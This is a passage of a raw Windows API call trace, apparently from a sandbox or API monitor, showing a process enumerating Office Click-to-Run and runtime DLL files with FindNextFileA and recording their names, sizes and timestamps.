dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0117.789] GetCurrentThreadId () returned 0x9b0 [0117.789] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0117.789] GetCurrentThreadId () returned 0x9b0 [0117.789] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887380, Size=0x64) returned 0x2a19428 [0117.789] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0117.790] GetCurrentThreadId () returned 0x9b0 [0117.790] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0117.790] GetCurrentThreadId () returned 0x9b0 [0117.790] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0117.790] GetCurrentThreadId () returned 0x9b0 [0117.790] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0117.790] GetCurrentThreadId () returned 0x9b0 [0117.790] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0117.790] GetCurrentThreadId () returned 0x9b0 [0117.790] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0117.790] GetCurrentThreadId () returned 0x9b0 [0117.791] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0117.791] GetCurrentThreadId () returned 0x9b0 [0117.791] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0117.791] GetCurrentThreadId () returned 0x9b0 [0117.791] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0117.791] GetCurrentThreadId () returned 0x9b0 [0117.791] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0ad8 [0117.791] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0117.792] GetCurrentThreadId () returned 0x9b0 [0117.792] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0117.792] GetCurrentThreadId () returned 0x9b0 [0117.792] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0117.792] GetCurrentThreadId () returned 0x9b0 [0117.792] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0117.792] GetCurrentThreadId () returned 0x9b0 [0117.792] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0117.792] GetCurrentThreadId () returned 0x9b0 [0117.792] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0117.792] GetCurrentThreadId () returned 0x9b0 [0117.793] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0117.793] GetCurrentThreadId () returned 0x9b0 [0117.793] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0117.793] GetCurrentThreadId () returned 0x9b0 [0117.793] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0117.793] GetCurrentThreadId () returned 0x9b0 [0117.793] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0117.793] GetCurrentThreadId () returned 0x9b0 [0117.793] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ad8, Size=0xb8) returned 0x325eff0 [0117.793] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0117.794] GetCurrentThreadId () returned 0x9b0 [0117.794] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0117.794] GetCurrentThreadId () returned 0x9b0 [0117.794] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0117.794] GetCurrentThreadId () returned 0x9b0 [0117.794] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0117.794] GetCurrentThreadId () returned 0x9b0 [0117.794] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0117.794] GetCurrentThreadId () returned 0x9b0 [0117.794] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0117.794] GetCurrentThreadId () returned 0x9b0 [0117.795] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1 [0117.795] GetCurrentThreadId () returned 0x9b0 [0117.795] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0117.795] GetCurrentThreadId () returned 0x9b0 [0117.795] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0117.795] GetCurrentThreadId () returned 0x9b0 [0117.795] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0117.795] GetCurrentThreadId () returned 0x9b0 [0117.795] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0117.795] GetCurrentThreadId () returned 0x9b0 [0117.796] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325eff0, Size=0xe8) returned 0x33d1290 [0117.796] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0117.796] GetCurrentThreadId () returned 0x9b0 [0117.796] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0117.796] GetCurrentThreadId () returned 0x9b0 [0117.796] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0117.796] GetCurrentThreadId () returned 0x9b0 [0117.796] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0117.796] GetCurrentThreadId () returned 0x9b0 [0117.796] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0117.796] GetCurrentThreadId () returned 0x9b0 [0117.797] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0117.797] GetCurrentThreadId () returned 0x9b0 [0117.797] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0117.797] GetCurrentThreadId () returned 0x9b0 [0117.797] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0117.797] GetCurrentThreadId () returned 0x9b0 [0117.797] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0117.798] GetCurrentThreadId () returned 0x9b0 [0117.798] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, 